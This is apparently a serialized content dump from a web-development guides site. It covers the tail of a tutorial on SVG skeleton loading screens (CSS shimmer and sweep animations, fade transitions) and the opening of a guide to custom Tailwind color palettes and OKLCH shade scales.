",[1560,198582,2497],{"class":1576},[1560,198584,1688],{"class":1570},[1560,198586,198587],{"class":2219},"--shimmer-speed",[1560,198589,1733],{"class":1570},[1560,198591,198592],{"class":1576},"ease-in-out",[1560,198594,20096],{"class":1576},[1560,198596,2228],{"class":1570},[1560,198598,198599],{"class":1562,"line":2524},[1560,198600,1585],{"class":1570},[1560,198602,198603],{"class":1562,"line":2529},[1560,198604,1702],{"emptyLinePlaceholder":363},[1560,198606,198607,198609,198612],{"class":1562,"line":2534},[1560,198608,19946],{"class":1669},[1560,198610,198611],{"class":2219}," shimmer",[1560,198613,1571],{"class":1570},[1560,198615,198616,198618,198620,198622,198624,198626,198628,198631],{"class":1562,"line":2542},[1560,198617,19965],{"class":1566},[1560,198619,1658],{"class":1570},[1560,198621,12614],{"class":1576},[1560,198623,1663],{"class":1570},[1560,198625,2497],{"class":1576},[1560,198627,1688],{"class":1570},[1560,198629,198630],{"class":2219},"--shimmer-color",[1560,198632,1697],{"class":1570},[1560,198634,198635,198637,198639,198641,198643,198645,198647,198650],{"class":1562,"line":2558},[1560,198636,20020],{"class":1566},[1560,198638,1658],{"class":1570},[1560,198640,12614],{"class":1576},[1560,198642,1663],{"class":1570},[1560,198644,2497],{"class":1576},[1560,198646,1688],{"class":1570},[1560,198648,198649],{"class":2219},"--shimmer-highlight",[1560,198651,1697],{"class":1570},[1560,198653,198654,198657,198659,198661,198663,198665,198667,198669],{"class":1562,"line":2570},[1560,198655,198656],{"class":1566},"  80%",[1560,198658,1658],{"class":1570},[1560,198660,12614],{"class":1576},[1560,198662,1663],{"class":1570},[1560,198664,2497],{"class":1576},[1560,198666,1688],{"class":1570},[1560,198668,198630],{"class":2219},[1560,198670,1697],{"class":1570},[1560,198672,198673,198675,198677,198679,198681,198683,198685,198687],{"class":1562,"line":6638},[1560,198674,36587],{"class":1566},[1560,198676,1658],{"class":1570},[1560,198678,12614],{"class":1576},[1560,198680,1663],{"class":1570},[1560,198682,2497],{"class":1576},[1560,198684,1688],{"class":1570},[1560,198686,198630],{"class":2219},[1560,198688,1697],{"class":1570},[1560,198690,198691],{"class":1562,"line":11615},[1560,198692,1585],{"class":1570},[1560,198694,198695],{"class":1562,"line":11621},[1560,198696,1702],{"emptyLinePlaceholder":363},[1560,198698,198699],{"class":1562,"line":11633},[1560,198700,198701],{"class":1649},"\u002F* Dark mode support *\u002F\n",[1560,198703,198704,198706],{"class":1562,"line":11638},[1560,198705,17186],{"class":1669},[1560,198707,20188],{"class":1570},[1560,198709,198710,198713],{"class":1562,"line":11672},[1560,198711,198712],{"class":1566},"  .skeleton-card",[1560,198714,1571],{"class":1570},[1560,198716,198717,198720,198722,198725],{"class":1562,"line":19435},[1560,198718,198719],{"class":2219},"    --shimmer-color",[1560,198721,1663],{"class":1570},[1560,198723,198724],{"class":1576},"#333333",[1560,198726,2228],{"class":1570},[1560,198728,198729,198732,198734,198737],{"class":1562,"line":19442},[1560,198730,198731],{"class":2219},"    --shimmer-highlight",[1560,198733,1663],{"class":1570},[1560,198735,198736],{"class":1576},"#555555",[1560,198738,2228],{"class":1570},[1560,198740,198741],{"class":1562,"line":19475},[1560,198742,4959],{"class":1570},[1560,198744,198745],{"class":1562,"line":19508},[1560,198746,1585],{"class":1570},[16,198748,198749],{},"An alternative shimmer technique uses a moving gradient overlay instead of animating the fill directly. This creates a more polished sweeping highlight effect:",[135,198751,198753],{"className":1554,"code":198752,"language":1556,"meta":141,"style":141},".skeleton-card {\n  position: relative;\n  overflow: hidden;\n}\n\n.skeleton-card::after {\n  content: '';\n  position: absolute;\n  inset: 0;\n  background: linear-gradient(\n    90deg,\n    transparent 0%,\n    rgba(255, 255, 255, 0.3) 50%,\n    transparent 100%\n  );\n  animation: sweep 1.5s ease-in-out infinite;\n}\n\n@keyframes sweep {\n  0% { transform: translateX(-100%); }\n  100% { transform: translateX(100%); }\n}\n",[143,198754,198755,198761,198771,198781,198785,198789,198796,198806,198816,198826,198836,198844,198854,198882,198890,198894,198911,198915,198919,198928,198949,198969],{"__ignoreMap":141},[1560,198756,198757,198759],{"class":1562,"line":1563},[1560,198758,198511],{"class":1566},[1560,198760,1571],{"class":1570},[1560,198762,198763,198765,198767,198769],{"class":1562,"line":337},[1560,198764,5642],{"class":1576},[1560,198766,1663],{"class":1570},[1560,198768,19549],{"class":1576},[1560,198770,2228],{"class":1570},[1560,198772,198773,198775,198777,198779],{"class":1562,"line":343},[1560,198774,74722],{"class":1576},[1560,198776,1663],{"class":1570},[1560,198778,44183],{"class":1576},[1560,198780,2228],{"class":1570},[1560,198782,198783],{"class":1562,"line":365},[1560,198784,1585],{"class":1570},[1560,198786,198787],{"class":1562,"line":889},[1560,198788,1702],{"emptyLinePlaceholder":363},[1560,198790,198791,198794],{"class":1562,"line":1710},[1560,198792,198793],{"class":1566},".skeleton-card::after",[1560,198795,1571],{"class":1570},[1560,198797,198798,198800,198802,198804],{"class":1562,"line":1717},[1560,198799,5629],{"class":1576},[1560,198801,1663],{"class":1570},[1560,198803,5635],{"class":5634},[1560,198805,2228],{"class":1570},[1560,198807,198808,198810,198812,198814],{"class":1562,"line":1747},[1560,198809,5642],{"class":1576},[1560,198811,1663],{"class":1570},[1560,198813,5647],{"class":1576},[1560,198815,2228],{"class":1570},[1560,198817,198818,198820,198822,198824],{"class":1562,"line":2507},[1560,198819,5654],{"class":1576},[1560,198821,1663],{"class":1570},[1560,198823,5285],{"class":1576},[1560,198825,2228],{"class":1570},[1560,198827,198828,198830,198832,198834],{"class":1562,"line":2524},[1560,198829,5665],{"class":1576},[1560,198831,1663],{"class":1570},[1560,198833,46356],{"class":1576},[1560,198835,35957],{"class":1570},[1560,198837,198838,198840,198842],{"class":1562,"line":2529},[1560,198839,188356],{"class":1576},[1560,198841,1694],{"class":1669},[1560,198843,11943],{"class":1570},[1560,198845,198846,198848,198850,198852],{"class":1562,"line":2534},[1560,198847,56370],{"class":1576},[1560,198849,13541],{"class":1576},[1560,198851,17990],{"class":1669},[1560,198853,11943],{"class":1570},[1560,198855,198856,198858,198860,198862,198864,198866,198868,198870,198872,198874,198876,198878,198880],{"class":1562,"line":2542},[1560,198857,56381],{"class":1576},[1560,198859,1688],{"class":1570},[1560,198861,5400],{"class":1576},[1560,198863,1459],{"class":1570},[1560,198865,5400],{"class":1576},[1560,198867,1459],{"class":1570},[1560,198869,5400],{"class":1576},[1560,198871,1459],{"class":1570},[1560,198873,18724],{"class":1576},[1560,198875,1733],{"class":1570},[1560,198877,18059],{"class":1576},[1560,198879,17990],{"class":1669},[1560,198881,11943],{"class":1570},[1560,198883,198884,198886,198888],{"class":1562,"line":2558},[1560,198885,56370],{"class":1576},[1560,198887,35878],{"class":1576},[1560,198889,36070],{"class":1669},[1560,198891,198892],{"class":1562,"line":2570},[1560,198893,36075],{"class":1570},[1560,198895,198896,198898,198901,198903,198905,198907,198909],{"class":1562,"line":6638},[1560,198897,20083],{"class":1576},[1560,198899,198900],{"class":1570},": sweep ",[1560,198902,18515],{"class":1576},[1560,198904,18727],{"class":1669},[1560,198906,20093],{"class":1576},[1560,198908,20096],{"class":1576},[1560,198910,2228],{"class":1570},[1560,198912,198913],{"class":1562,"line":11615},[1560,198914,1585],{"class":1570},[1560,198916,198917],{"class":1562,"line":11621},[1560,198918,1702],{"emptyLinePlaceholder":363},[1560,198920,198921,198923,198926],{"class":1562,"line":11633},[1560,198922,19946],{"class":1669},[1560,198924,198925],{"class":2219}," sweep",[1560,198927,1571],{"class":1570},[1560,198929,198930,198932,198934,198936,198938,198940,198942,198945,198947],{"class":1562,"line":11638},[1560,198931,19965],{"class":1566},[1560,198933,1658],{"class":1570},[1560,198935,1514],{"class":1576},[1560,198937,1663],{"class":1570},[1560,198939,66401],{"class":1576},[1560,198941,1688],{"class":1570},[1560,198943,198944],{"class":1576},"-100",[1560,198946,17990],{"class":1669},[1560,198948,1697],{"class":1570},[1560,198950,198951,198953,198955,198957,198959,198961,198963,198965,198967],{"class":1562,"line":11672},[1560,198952,36587],{"class":1566},[1560,198954,1658],{"class":1570},[1560,198956,1514],{"class":1576},[1560,198958,1663],{"class":1570},[1560,198960,66401],{"class":1576},[1560,198962,1688],{"class":1570},[1560,198964,18114],{"class":1576},[1560,198966,17990],{"class":1669},[1560,198968,1697],{"class":1570},[1560,198970,198971],{"class":1562,"line":19435},[1560,198972,1585],{"class":1570},[16,198974,198975],{},"The sweep approach avoids repaints on individual SVG elements — the browser composites a single pseudo-element layer, which is GPU-accelerated and smoother.",[11,198977,198979],{"id":198978},"responsive-skeleton-layouts","Responsive Skeleton Layouts",[16,198981,198982,198983,198985],{},"SVG skeletons need to scale with the container. Use ",[143,198984,197536],{}," with percentage-based dimensions:",[135,198987,198989],{"className":1554,"code":198988,"language":1556,"meta":141,"style":141},".skeleton-svg {\n  width: 100%;\n  height: auto;\n  display: block;\n}\n",[143,198990,198991,198997,199009,199019,199029],{"__ignoreMap":141},[1560,198992,198993,198995],{"class":1562,"line":1563},[1560,198994,198561],{"class":1566},[1560,198996,1571],{"class":1570},[1560,198998,198999,199001,199003,199005,199007],{"class":1562,"line":337},[1560,199000,12386],{"class":1576},[1560,199002,1663],{"class":1570},[1560,199004,18114],{"class":1576},[1560,199006,17990],{"class":1669},[1560,199008,2228],{"class":1570},[1560,199010,199011,199013,199015,199017],{"class":1562,"line":343},[1560,199012,12400],{"class":1576},[1560,199014,1663],{"class":1570},[1560,199016,33331],{"class":1576},[1560,199018,2228],{"class":1570},[1560,199020,199021,199023,199025,199027],{"class":1562,"line":365},[1560,199022,12504],{"class":1576},[1560,199024,1663],{"class":1570},[1560,199026,7680],{"class":1576},[1560,199028,2228],{"class":1570},[1560,199030,199031],{"class":1562,"line":889},[1560,199032,1585],{"class":1570},[16,199034,421,199035,199038],{},[143,199036,199037],{},"viewBox=\"0 0 400 200\""," definition ensures the shapes maintain their relative positions regardless of the container width. This works with Flexbox and CSS Grid layouts where the card width is fluid.",[16,199040,199041],{},"For layouts with varying numbers of skeleton cards (e.g., a grid that shows 1 column on mobile, 3 on desktop), generate the appropriate number of skeleton elements and let CSS grid handle the placement — same as you would with real content cards.",[11,199043,199045],{"id":199044},"transitioning-from-skeleton-to-content","Transitioning from Skeleton to Content",[16,199047,199048],{},"The moment data arrives, swap the skeleton for real content with a fade transition to avoid a jarring flash:",[135,199050,199052],{"className":1554,"code":199051,"language":1556,"meta":141,"style":141},".content-card {\n  opacity: 1;\n  transition: opacity 0.3s ease;\n}\n\n.content-card.loading {\n  opacity: 0;\n  position: absolute;\n  pointer-events: none;\n}\n\n.skeleton-card.hidden {\n  opacity: 0;\n  transition: opacity 0.2s ease;\n}\n",[143,199053,199054,199061,199071,199085,199089,199093,199100,199110,199120,199131,199135,199139,199146,199156,199170],{"__ignoreMap":141},[1560,199055,199056,199059],{"class":1562,"line":1563},[1560,199057,199058],{"class":1566},".content-card",[1560,199060,1571],{"class":1570},[1560,199062,199063,199065,199067,199069],{"class":1562,"line":337},[1560,199064,19700],{"class":1576},[1560,199066,1663],{"class":1570},[1560,199068,3585],{"class":1576},[1560,199070,2228],{"class":1570},[1560,199072,199073,199075,199077,199079,199081,199083],{"class":1562,"line":343},[1560,199074,18718],{"class":1576},[1560,199076,19713],{"class":1570},[1560,199078,18724],{"class":1576},[1560,199080,18727],{"class":1669},[1560,199082,18730],{"class":1576},[1560,199084,2228],{"class":1570},[1560,199086,199087],{"class":1562,"line":365},[1560,199088,1585],{"class":1570},[1560,199090,199091],{"class":1562,"line":889},[1560,199092,1702],{"emptyLinePlaceholder":363},[1560,199094,199095,199098],{"class":1562,"line":1710},[1560,199096,199097],{"class":1566},".content-card.loading",[1560,199099,1571],{"class":1570},[1560,199101,199102,199104,199106,199108],{"class":1562,"line":1717},[1560,199103,19700],{"class":1576},[1560,199105,1663],{"class":1570},[1560,199107,5285],{"class":1576},[1560,199109,2228],{"class":1570},[1560,199111,199112,199114,199116,199118],{"class":1562,"line":1747},[1560,199113,5642],{"class":1576},[1560,199115,1663],{"class":1570},[1560,199117,5647],{"class":1576},[1560,199119,2228],{"class":1570},[1560,199121,199122,199125,199127,199129],{"class":1562,"line":2507},[1560,199123,199124],{"class":1576},"  pointer-events",[1560,199126,1663],{"class":1570},[1560,199128,24609],{"class":1576},[1560,199130,2228],{"class":1570},[1560,199132,199133],{"class":1562,"line":2524},[1560,199134,1585],{"class":1570},[1560,199136,199137],{"class":1562,"line":2529},[1560,199138,1702],{"emptyLinePlaceholder":363},[1560,199140,199141,199144],{"class":1562,"line":2534},[1560,199142,199143],{"class":1566},".skeleton-card.hidden",[1560,199145,1571],{"class":1570},[1560,199147,199148,199150,199152,199154],{"class":1562,"line":2542},[1560,199149,19700],{"class":1576},[1560,199151,1663],{"class":1570},[1560,199153,5285],{"class":1576},[1560,199155,2228],{"class":1570},[1560,199157,199158,199160,199162,199164,199166,199168],{"class":1562,"line":2558},[1560,199159,18718],{"class":1576},[1560,199161,19713],{"class":1570},[1560,199163,18949],{"class":1576},[1560,199165,18727],{"class":1669},[1560,199167,18730],{"class":1576},[1560,199169,2228],{"class":1570},[1560,199171,199172],{"class":1562,"line":2570},[1560,199173,1585],{"class":1570},[135,199175,199177],{"className":1607,"code":199176,"language":1609,"meta":141,"style":141},"function showContent(cardElement, contentHtml) {\n  const skeleton = cardElement.querySelector('.skeleton-card')\n  const content = cardElement.querySelector('.content-card')\n\n  content.innerHTML = contentHtml\n  skeleton.classList.add('hidden')\n\n  setTimeout(() => {\n    skeleton.remove()\n    content.classList.remove('loading')\n  }, 200)\n}\n",[143,199178,199179,199198,199219,199238,199242,199252,199265,199269,199280,199289,199303,199312],{"__ignoreMap":141},[1560,199180,199181,199183,199186,199188,199191,199193,199196],{"class":1562,"line":1563},[1560,199182,8648],{"class":1669},[1560,199184,199185],{"class":1566}," showContent",[1560,199187,1688],{"class":1570},[1560,199189,199190],{"class":2219},"cardElement",[1560,199192,1459],{"class":1570},[1560,199194,199195],{"class":2219},"contentHtml",[1560,199197,9345],{"class":1570},[1560,199199,199200,199202,199205,199207,199210,199212,199214,199217],{"class":1562,"line":337},[1560,199201,28057],{"class":1669},[1560,199203,199204],{"class":1576}," skeleton",[1560,199206,8186],{"class":1669},[1560,199208,199209],{"class":1570}," cardElement.",[1560,199211,11786],{"class":1566},[1560,199213,1688],{"class":1570},[1560,199215,199216],{"class":5634},"'.skeleton-card'",[1560,199218,8252],{"class":1570},[1560,199220,199221,199223,199225,199227,199229,199231,199233,199236],{"class":1562,"line":343},[1560,199222,28057],{"class":1669},[1560,199224,108854],{"class":1576},[1560,199226,8186],{"class":1669},[1560,199228,199209],{"class":1570},[1560,199230,11786],{"class":1566},[1560,199232,1688],{"class":1570},[1560,199234,199235],{"class":5634},"'.content-card'",[1560,199237,8252],{"class":1570},[1560,199239,199240],{"class":1562,"line":365},[1560,199241,1702],{"emptyLinePlaceholder":363},[1560,199243,199244,199247,199249],{"class":1562,"line":889},[1560,199245,199246],{"class":1570},"  content.innerHTML ",[1560,199248,7297],{"class":1669},[1560,199250,199251],{"class":1570}," contentHtml\n",[1560,199253,199254,199257,199259,199261,199263],{"class":1562,"line":1710},[1560,199255,199256],{"class":1570},"  skeleton.classList.",[1560,199258,11797],{"class":1566},[1560,199260,1688],{"class":1570},[1560,199262,191273],{"class":5634},[1560,199264,8252],{"class":1570},[1560,199266,199267],{"class":1562,"line":1717},[1560,199268,1702],{"emptyLinePlaceholder":363},[1560,199270,199271,199274,199276,199278],{"class":1562,"line":1747},[1560,199272,199273],{"class":1566},"  setTimeout",[1560,199275,135656],{"class":1570},[1560,199277,11503],{"class":1669},[1560,199279,1571],{"class":1570},[1560,199281,199282,199285,199287],{"class":1562,"line":2507},[1560,199283,199284],{"class":1570},"    skeleton.",[1560,199286,123971],{"class":1566},[1560,199288,27830],{"class":1570},[1560,199290,199291,199294,199296,199298,199301],{"class":1562,"line":2524},[1560,199292,199293],{"class":1570},"    content.classList.",[1560,199295,123971],{"class":1566},[1560,199297,1688],{"class":1570},[1560,199299,199300],{"class":5634},"'loading'",[1560,199302,8252],{"class":1570},[1560,199304,199305,199308,199310],{"class":1562,"line":2529},[1560,199306,199307],{"class":1570},"  }, ",[1560,199309,18101],{"class":1576},[1560,199311,8252],{"class":1570},[1560,199313,199314],{"class":1562,"line":2534},[1560,199315,1585],{"class":1570},[16,199317,199318],{},"The skeleton fades out over 200ms while the content fades in over 300ms. Removing the skeleton DOM element after the transition prevents it from consuming memory on long-scrolling pages.",[16,199320,199321,199322,199324],{},"Generate SVG placeholder images for your skeleton components at ",[98,199323,93580],{"href":93580},", which produces resolution-independent SVG output with customizable dimensions and colors.",[2043,199326,199327],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":199329},[199330,199331,199332,199333,199334],{"id":197971,"depth":337,"text":197972},{"id":198056,"depth":337,"text":198057},{"id":198497,"depth":337,"text":198498},{"id":198978,"depth":337,"text":198979},{"id":199044,"depth":337,"text":199045},"Build loading skeleton screens with lightweight SVG placeholders for better perceived performance.",{},"\u002Fguides\u002Fsvg-placeholder-skeleton-screens",{"title":197963,"description":199335},"guides\u002Fsvg-placeholder-skeleton-screens","kibMjv0a6ap8hZTu0OzKFSUyGFC238GVBBZW5Kwxk9I",{"id":199342,"title":199343,"body":199344,"date":2070,"description":200498,"extension":361,"meta":200499,"navigation":363,"path":200500,"readingTime":1710,"seo":200501,"stem":200502,"__hash__":200503},"guides\u002Fguides\u002Ftailwind-custom-palette-design.md","Designing Custom Tailwind Palettes",{"type":8,"value":199345,"toc":200479},[199346,199350,199353,199357,199361,199547,199560,199564,199567,199679,199683,199686,199690,199693,199731,199734,199846,199969,199973,199976,200024,200028,200032,200230,200234,200367,200371,200374,200403,200407,200410,200449,200451,200465,200467,200470,200476],[11,199347,199349],{"id":199348},"why-custom-palettes-matter","Why Custom Palettes Matter",[16,199351,199352],{},"Tailwind's default palette is excellent for prototyping, but production products need brand-specific colors. A custom palette ensures visual consistency across your entire application and makes your product recognizable. Rather than overriding Tailwind utilities ad hoc, define a complete palette that integrates with Tailwind's token system.",[11,199354,199356],{"id":199355},"tailwind-color-configuration","Tailwind Color Configuration",[33,199358,199360],{"id":199359},"basic-custom-colors","Basic Custom Colors",[135,199362,199364],{"className":1607,"code":199363,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.ts\nexport default {\n  theme: {\n    extend: {\n      colors: {\n        brand: {\n          50:  '#f0f5ff',\n          100: '#e0ebff',\n          200: '#c2d6ff',\n          300: '#94b8ff',\n          400: '#6699ff',\n          500: '#3366ff',\n          600: '#1a4fff',\n          700: '#0033cc',\n          800: '#002699',\n          900: '#001a66',\n          950: '#000d33',\n        },\n      },\n    },\n  },\n}\n",[143,199365,199366,199371,199379,199383,199387,199391,199396,199408,199420,199432,199444,199456,199467,199479,199491,199503,199515,199527,199531,199535,199539,199543],{"__ignoreMap":141},[1560,199367,199368],{"class":1562,"line":1563},[1560,199369,199370],{"class":1649},"\u002F\u002F tailwind.config.ts\n",[1560,199372,199373,199375,199377],{"class":1562,"line":337},[1560,199374,9187],{"class":1669},[1560,199376,11837],{"class":1669},[1560,199378,1571],{"class":1570},[1560,199380,199381],{"class":1562,"line":343},[1560,199382,17530],{"class":1570},[1560,199384,199385],{"class":1562,"line":365},[1560,199386,92475],{"class":1570},[1560,199388,199389],{"class":1562,"line":889},[1560,199390,92480],{"class":1570},[1560,199392,199393],{"class":1562,"line":1710},[1560,199394,199395],{"class":1570},"        brand: {\n",[1560,199397,199398,199401,199403,199406],{"class":1562,"line":1717},[1560,199399,199400],{"class":1576},"          50",[1560,199402,159721],{"class":1570},[1560,199404,199405],{"class":5634},"'#f0f5ff'",[1560,199407,11943],{"class":1570},[1560,199409,199410,199413,199415,199418],{"class":1562,"line":1747},[1560,199411,199412],{"class":1576},"          100",[1560,199414,1663],{"class":1570},[1560,199416,199417],{"class":5634},"'#e0ebff'",[1560,199419,11943],{"class":1570},[1560,199421,199422,199425,199427,199430],{"class":1562,"line":2507},[1560,199423,199424],{"class":1576},"          200",[1560,199426,1663],{"class":1570},[1560,199428,199429],{"class":5634},"'#c2d6ff'",[1560,199431,11943],{"class":1570},[1560,199433,199434,199437,199439,199442],{"class":1562,"line":2524},[1560,199435,199436],{"class":1576},"          300",[1560,199438,1663],{"class":1570},[1560,199440,199441],{"class":5634},"'#94b8ff'",[1560,199443,11943],{"class":1570},[1560,199445,199446,199449,199451,199454],{"class":1562,"line":2529},[1560,199447,199448],{"class":1576},"          400",[1560,199450,1663],{"class":1570},[1560,199452,199453],{"class":5634},"'#6699ff'",[1560,199455,11943],{"class":1570},[1560,199457,199458,199461,199463,199465],{"class":1562,"line":2534},[1560,199459,199460],{"class":1576},"          500",[1560,199462,1663],{"class":1570},[1560,199464,160452],{"class":5634},[1560,199466,11943],{"class":1570},[1560,199468,199469,199472,199474,199477],{"class":1562,"line":2542},[1560,199470,199471],{"class":1576},"          600",[1560,199473,1663],{"class":1570},[1560,199475,199476],{"class":5634},"'#1a4fff'",[1560,199478,11943],{"class":1570},[1560,199480,199481,199484,199486,199489],{"class":1562,"line":2558},[1560,199482,199483],{"class":1576},"          700",[1560,199485,1663],{"class":1570},[1560,199487,199488],{"class":5634},"'#0033cc'",[1560,199490,11943],{"class":1570},[1560,199492,199493,199496,199498,199501],{"class":1562,"line":2570},[1560,199494,199495],{"class":1576},"          800",[1560,199497,1663],{"class":1570},[1560,199499,199500],{"class":5634},"'#002699'",[1560,199502,11943],{"class":1570},[1560,199504,199505,199508,199510,199513],{"class":1562,"line":6638},[1560,199506,199507],{"class":1576},"          900",[1560,199509,1663],{"class":1570},[1560,199511,199512],{"class":5634},"'#001a66'",[1560,199514,11943],{"class":1570},[1560,199516,199517,199520,199522,199525],{"class":1562,"line":11615},[1560,199518,199519],{"class":1576},"          950",[1560,199521,1663],{"class":1570},[1560,199523,199524],{"class":5634},"'#000d33'",[1560,199526,11943],{"class":1570},[1560,199528,199529],{"class":1562,"line":11621},[1560,199530,20786],{"class":1570},[1560,199532,199533],{"class":1562,"line":11633},[1560,199534,11976],{"class":1570},[1560,199536,199537],{"class":1562,"line":11638},[1560,199538,17600],{"class":1570},[1560,199540,199541],{"class":1562,"line":11672},[1560,199542,11862],{"class":1570},[1560,199544,199545],{"class":1562,"line":19435},[1560,199546,1585],{"class":1570},[16,199548,199549,199550,1459,199553,1459,199556,199559],{},"This gives you ",[143,199551,199552],{},"bg-brand-500",[143,199554,199555],{},"text-brand-700",[143,199557,199558],{},"border-brand-200",", and every other Tailwind color utility — automatically.",[33,199561,199563],{"id":199562},"multi-brand-palettes","Multi-Brand Palettes",[16,199565,199566],{},"For products with distinct color families:",[135,199568,199570],{"className":1607,"code":199569,"language":1609,"meta":141,"style":141},"colors: {\n  brand: { \u002F* primary blue *\u002F },\n  accent: { \u002F* secondary orange *\u002F },\n  surface: { \u002F* neutral backgrounds *\u002F },\n  feedback: {\n    success: '#16a34a',\n    warning: '#d97706',\n    error: '#dc2626',\n    info: '#2563eb',\n  },\n}\n",[143,199571,199572,199579,199592,199604,199616,199623,199635,199647,199659,199671,199675],{"__ignoreMap":141},[1560,199573,199574,199577],{"class":1562,"line":1563},[1560,199575,199576],{"class":1566},"colors",[1560,199578,37098],{"class":1570},[1560,199580,199581,199584,199587,199590],{"class":1562,"line":337},[1560,199582,199583],{"class":1566},"  brand",[1560,199585,199586],{"class":1570},": { ",[1560,199588,199589],{"class":1649},"\u002F* primary blue *\u002F",[1560,199591,21223],{"class":1570},[1560,199593,199594,199597,199599,199602],{"class":1562,"line":343},[1560,199595,199596],{"class":1566},"  accent",[1560,199598,199586],{"class":1570},[1560,199600,199601],{"class":1649},"\u002F* secondary orange *\u002F",[1560,199603,21223],{"class":1570},[1560,199605,199606,199609,199611,199614],{"class":1562,"line":365},[1560,199607,199608],{"class":1566},"  surface",[1560,199610,199586],{"class":1570},[1560,199612,199613],{"class":1649},"\u002F* neutral backgrounds *\u002F",[1560,199615,21223],{"class":1570},[1560,199617,199618,199621],{"class":1562,"line":889},[1560,199619,199620],{"class":1566},"  feedback",[1560,199622,37098],{"class":1570},[1560,199624,199625,199628,199630,199633],{"class":1562,"line":1710},[1560,199626,199627],{"class":1566},"    success",[1560,199629,1663],{"class":1570},[1560,199631,199632],{"class":5634},"'#16a34a'",[1560,199634,11943],{"class":1570},[1560,199636,199637,199640,199642,199645],{"class":1562,"line":1717},[1560,199638,199639],{"class":1566},"    warning",[1560,199641,1663],{"class":1570},[1560,199643,199644],{"class":5634},"'#d97706'",[1560,199646,11943],{"class":1570},[1560,199648,199649,199652,199654,199657],{"class":1562,"line":1747},[1560,199650,199651],{"class":1566},"    error",[1560,199653,1663],{"class":1570},[1560,199655,199656],{"class":5634},"'#dc2626'",[1560,199658,11943],{"class":1570},[1560,199660,199661,199664,199666,199669],{"class":1562,"line":2507},[1560,199662,199663],{"class":1566},"    info",[1560,199665,1663],{"class":1570},[1560,199667,199668],{"class":5634},"'#2563eb'",[1560,199670,11943],{"class":1570},[1560,199672,199673],{"class":1562,"line":2524},[1560,199674,11862],{"class":1570},[1560,199676,199677],{"class":1562,"line":2529},[1560,199678,1585],{"class":1570},[11,199680,199682],{"id":199681},"generating-shade-scales","Generating Shade Scales",[16,199684,199685],{},"The hardest part of custom palettes is generating consistent shade scales. A good scale progresses smoothly from very light to very dark while maintaining the same hue identity.",[33,199687,199689],{"id":199688},"the-oklch-approach","The OKLCH Approach",[16,199691,199692],{},"OKLCH is a perceptually uniform color space — equal numeric steps produce equal visual steps. This makes it ideal for generating shade scales:",[135,199694,199696],{"className":1554,"code":199695,"language":1556,"meta":141,"style":141},"\u002F* Define your brand color in oklch *\u002F\n:root {\n  --brand-500: oklch(0.55 0.2 260);\n}\n",[143,199697,199698,199703,199709,199727],{"__ignoreMap":141},[1560,199699,199700],{"class":1562,"line":1563},[1560,199701,199702],{"class":1649},"\u002F* Define your brand color in oklch *\u002F\n",[1560,199704,199705,199707],{"class":1562,"line":337},[1560,199706,2207],{"class":1566},[1560,199708,1571],{"class":1570},[1560,199710,199711,199713,199715,199717,199719,199721,199723,199725],{"class":1562,"line":343},[1560,199712,159822],{"class":2219},[1560,199714,1663],{"class":1570},[1560,199716,30410],{"class":1576},[1560,199718,1688],{"class":1570},[1560,199720,51069],{"class":1576},[1560,199722,30419],{"class":1576},[1560,199724,102872],{"class":1576},[1560,199726,1744],{"class":1570},[1560,199728,199729],{"class":1562,"line":365},[1560,199730,1585],{"class":1570},[16,199732,199733],{},"From a single oklch anchor, you can derive a full scale by adjusting lightness while keeping chroma and hue constant:",[193,199735,199736,199746],{},[196,199737,199738],{},[199,199739,199740,199742,199744],{},[202,199741,31780],{},[202,199743,29125],{},[202,199745,70645],{},[211,199747,199748,199757,199766,199775,199784,199792,199801,199810,199818,199827,199836],{},[199,199749,199750,199752,199754],{},[216,199751,18059],{},[216,199753,159728],{},[216,199755,199756],{},"Very light tint",[199,199758,199759,199761,199763],{},[216,199760,18114],{},[216,199762,159749],{},[216,199764,199765],{},"Light tint",[199,199767,199768,199770,199772],{},[216,199769,18101],{},[216,199771,56399],{},[216,199773,199774],{},"Soft shade",[199,199776,199777,199779,199781],{},[216,199778,44009],{},[216,199780,72471],{},[216,199782,199783],{},"Medium-light",[199,199785,199786,199788,199790],{},[216,199787,24703],{},[216,199789,159810],{},[216,199791,7639],{},[199,199793,199794,199796,199798],{},[216,199795,72484],{},[216,199797,51069],{},[216,199799,199800],{},"Base color",[199,199802,199803,199805,199807],{},[216,199804,24601],{},[216,199806,159851],{},[216,199808,199809],{},"Medium-dark",[199,199811,199812,199814,199816],{},[216,199813,24619],{},[216,199815,159872],{},[216,199817,70652],{},[199,199819,199820,199822,199824],{},[216,199821,1666],{},[216,199823,159893],{},[216,199825,199826],{},"Very dark",[199,199828,199829,199832,199834],{},[216,199830,199831],{},"900",[216,199833,159914],{},[216,199835,30086],{},[199,199837,199838,199841,199843],{},[216,199839,199840],{},"950",[216,199842,19693],{},[216,199844,199845],{},"Deepest 